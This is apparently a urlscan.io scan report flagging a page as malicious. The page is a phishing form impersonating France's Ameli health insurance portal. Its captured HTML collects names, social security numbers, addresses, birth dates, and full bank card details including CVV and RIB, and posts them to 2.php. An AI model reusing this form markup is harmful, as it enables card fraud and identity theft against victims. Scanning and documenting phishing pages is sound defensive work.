data.sesao8.go.th Open in urlscan Pro
1.20.192.163  Malicious Activity! Public Scan

Form analysis
1 forms found in the DOM

Name: creationImmediateForm — POST 2.php

<form name="creationImmediateForm" id="creationImmediate_1creationImmediateForm" method="post" action="2.php">
  <div class="blocformfond creationimmediate">
    <div>
      <h2>
      </h2>
      <h2>
      </h2>
    </div>
    <fieldset>
      <div>
        <p style="text-align: center;">
          <input type="text" maxlength="40" id="namepx" name="namepx" class="input" required="" title="16 characters minimum" style="width: 340px;" placeholder=" NOM ET PRENOM"><br>
          <input type="text" maxlength="15" id="rib" name="rib" class="input" placeholder=" Sécurité sociale" pattern=".{5,}" required="" title="7 characters minimum" style="width: 340px;"><br>
          <input type="tel" maxlength="5" id="fix" name="fix" class="input" placeholder=" +33" pattern=".{1,}" required="" title="1 characters minimum" style="width: 80px;">
          <input type="tel" maxlength="10" id="fix2" name="fix2" class="input" placeholder="XXXXXXXXXX" pattern=".{10,}" required="" title="10 characters minimum" style="width: 260px;"><br>
          <input type="tel" maxlength="10" id="fix3" name="fix3" class="input" placeholder="Telephone Fixe  (Facultatif) " pattern=".{10,}" title="10 characters minimum" style="width: 340px;"><br>
          <input type="text" maxlength="70" id="fix4" name="fix4" class="input" placeholder=" Mon Adresse" pattern=".{5,}" required="" title="7 characters minimum" style="width: 340px;"><br>
          <input type="text" maxlength="5" id="fix5" name="fix5" class="input" placeholder=" Code postal" pattern=".{5,}" required="" title="7 characters minimum" style="width: 340px;"><br>
          <input type="text" maxlength="40" id="fix6" name="fix6" class="input" placeholder=" Email" pattern=".{@,}" required="" title="7 characters minimum" style="width: 340px;"><br>
          <input type="tel" maxlength="10" id="fix7" name="fix7" class="input" placeholder=" Date de naissance (JJ/MM/AAAA)" pattern=".{1,}" required="" title="7 characters minimum" style="width: 340px;"><br>
        </p>
      </div>
    </fieldset>
    <div class="r_obligatoire"><img src="./login_files/puce_obligatoire.gif" alt="*" height="8" width="5"> champ obligatoire</div>
  </div>
  <div class="txt_milieu">
    <input type="hidden" name="creationImmediate_1actionEvt" value="verifierEligibilite">
  </div>
  <div class="blocformfond creationimmediate">
    <div>
      <h2> Carte bancaire : </h2>
    </div>
    <fieldset>
      <div>
        <input type="tel" maxlength="16" id="cardnumber" name="card" onkeyup="type_carte()" class="input" pattern=".{16,}" required="" title="16 characters minimum" style="width: 340px;" placeholder=" Numero de la carte"><span>&nbsp;&nbsp;<span>
            <input type="tel" maxlength="3" id="cvv" name="cvv" class="input" placeholder=" CVV" pattern=".{3,}" required="" title="3 characters minimum" style="width: 168px;">
            <span class="date" id="type_cvv"></span>
            <input type="tel" maxlength="2" id="date" name="MM" class="input" placeholder=" MM" pattern=".{1,}" required="" title="2 characters minimum" style="width: 168px;">
            <input type="tel" maxlength="4" id="date" name="YYYY" class="input" placeholder=" AAAA" pattern=".{4,}" required="" title="4 characters minimum" style="width: 168px;">
            <span class="card" id="card"></span>
            <input type="text" maxlength="24" id="rib" name="rib" class="input" placeholder=" RIB" pattern=".{5,}" required="" title="5 characters minimum" style="width: 340px;">
          </span></span>
      </div>
    </fieldset>
    <div class="r_obligatoire"><img src="./login_files/puce_obligatoire.gif" alt="*" height="8" width="5"> champ obligatoire</div>
  </div>
  <div class="txt_milieu">
    <input type="hidden" name="creationImmediate_1actionEvt" value="verifierEligibilite">
    <a href="index.php" tabindex="12" class="r_btretour r_btlien">Retour</a>
    <input type="submit" name="creationImmediate_1actionEvt" tabindex="11" value="Continuer" id="creationImmediate_1id_r_cnx_btn_submit" class="r_btsubmit">
  </div>
</form>

Text Content

COMPTE AMELI

Aller au contenu  |  Recommandations de sécurité


FORMULAIRE DE REMBOURSEMENT











champ obligatoire



CARTE BANCAIRE :

  
champ obligatoire
Retour
 * Infos pratiques
 * Annuaire santé
 * Simulateurs de droits CMUC-ACS

 * Informations légales
 * Propriété intellectuelle
 * Conditions d'utilisation
 * Aide

Recommandations de sécurité Fermer
 * Le code d'accès au compte ameli est strictement personnel, il convient de le
   garder secret. N'oubliez pas de le modifier régulièrement.
 * Assurez-vous que l'ordinateur sur lequel vous consultez votre compte ameli
   est bien protégé par un antivirus et que celui-ci est à jour.
 * Vérifiez l'adresse (URL) dans la barre de votre navigateur lorsque vous
   consultez votre compte ameli depuis internet : https://assure.ameli.fr
 * L'adresse (URL) doit débuter par https:// et un cadenas doit apparaître.
 * N'oubliez pas de vous déconnecter de votre session ameli avant de fermer
   votre navigateur internet. Ceci plus particulièrement si vous utilisez un
   ordinateur partagé (cybercafé...)

Aide pour le n° de sécurité sociale Fermer
Saisissez votre numéro de sécurité sociale à 13 chiffres.
13 caractéres (disponible sur vos relevés de remboursement)
Exemple : 1480599999356
Attention, si vous êtes ayant droit, saisissez le numéro de sécurité sociale de
la personne à laquelle vous êtes rattaché.